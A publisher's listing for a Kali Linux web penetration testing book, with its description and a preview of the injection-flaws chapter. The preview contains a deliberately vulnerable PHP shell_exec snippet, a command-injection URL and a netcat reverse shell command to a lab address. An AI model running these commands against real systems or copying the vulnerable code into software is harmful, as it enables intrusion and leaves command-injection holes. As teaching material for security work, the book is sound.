Web Penetration Testing with Kali Linux
Gilberto Najera-Gutierrez, Juned Ahmed Ansari
- 426 pages
- English
- ePUB (mobile friendly)
- Available on iOS & Android
Web Penetration Testing with Kali Linux
Gilberto Najera-Gutierrez, Juned Ahmed Ansari
About This Book
Build your defense against web attacks with Kali Linux, including command injection flaws, crypto implementation layers, and web application security holes
Key Features
- Know how to set up your lab with Kali Linux
- Discover the core concepts of web penetration testing
- Get the tools and techniques you need with Kali Linux
Book Description
Web Penetration Testing with Kali Linux - Third Edition shows you how to set up a lab, helps you understand the nature and mechanics of attacking websites, and explains classical attacks in great depth. This edition is heavily updated for the latest Kali Linux changes and the most recent attacks. Kali Linux shines when it comes to client-side attacks and fuzzing in particular.
From the start of the book, you'll be given a thorough grounding in the concepts of hacking and penetration testing, and you'll see the tools used in Kali Linux that relate to web application hacking. You'll gain a deep understanding of classicalSQL, command-injection flaws, and the many ways to exploit these flaws. Web penetration testing also needs a general overview of client-side attacks, which is rounded out by a long discussion of scripting and input validation flaws.
There is also an important chapter on cryptographic implementation flaws, where we discuss the most recent problems with cryptographic layers in the networking stack.
The importance of these attacks cannot be overstated, and defending against them is relevant to most internet users and, of course, penetration testers.
At the end of the book, you'll use an automated technique called fuzzing to identify flaws in a web application. Finally, you'll gain an understanding of web application vulnerabilities and the ways they can be exploited using the tools in Kali Linux.
What you will learn
- Learn how to set up your lab with Kali Linux
- Understand the core concepts of web penetration testing
- Get to know the tools and techniques you need to use with Kali Linux
- Identify the difference between hacking a web application and network hacking
- Expose vulnerabilities present in web servers and their applications using server-side attacks
- Understand the different techniques used to identify the flavor of web applications
- See standard attacks such as exploiting cross-site request forgery and cross-site scripting flaws
- Get an overview of the art of client-side attacks
- Explore automated attacks such as fuzzing web applications
Who this book is for
Since this book sets out to cover a large number of tools and security fields, it can work as an introduction to practical security skills for beginners in security. In addition, web programmers and also system administrators would benefit from this rigorous introduction to web penetration testing. Basic system administration skills are necessary, and the ability to read code is a must.
Frequently asked questions
Information
Detecting and Exploiting Injection-Based Flaws
(https://www.owasp.org/index.php/Top_10-2017_Top_10) release candidate. Interactive web applications take the input from the user, process it, and return the output to the client. When the application is vulnerable to an injection flaw, it accepts the input from the user without proper or even with any validation and still processes it. This results in actions that the application did not intend to perform. The malicious input tricks the application, forcing the underlying components to perform tasks for which the application was not programmed. In other words, an injection flaw allows the attacker to control components of the application at will.
- Command injection flaw
- SQL injection flaw
- XML-based injections
- NoSQL injections
Components | Injection flaws |
Operating system | Command injection |
Database | SQL/NoSQL injection |
Web browser / client | Cross-Site Scripting |
LDAP directory | LDAP injection |
XML | XPATH / XML External Entity injection |
Command injection
<?php $target = $_REQUEST[ 'ip' ]; $cmd = shell_exec( 'ping -c 3 ' . $target ); $html .= '<pre>'.$cmd.'</pre>'; echo $html; ?>
http://server/page.php?ip=127.0.0.1;uname -a
nc -lvp 12345
nc.traditional -e /bin/bash 10.7.7.4 12345
Identifying parameters to inject data
- GET: With this method, input parameters are sent in URLs. In the example shown earlier, the input from the client was passed to the server using the GET method and was vulnerable to a command injection flaw. Any user-controlled parameter sent using the GET method request should be tested.
- POST: In this method, the input parameters are sent in the HTTP body. Similar to the input being passed using the GET method; data taken from the end user can also be passed using the POST method in the body of the HTTP request. This could then be used by the web applic...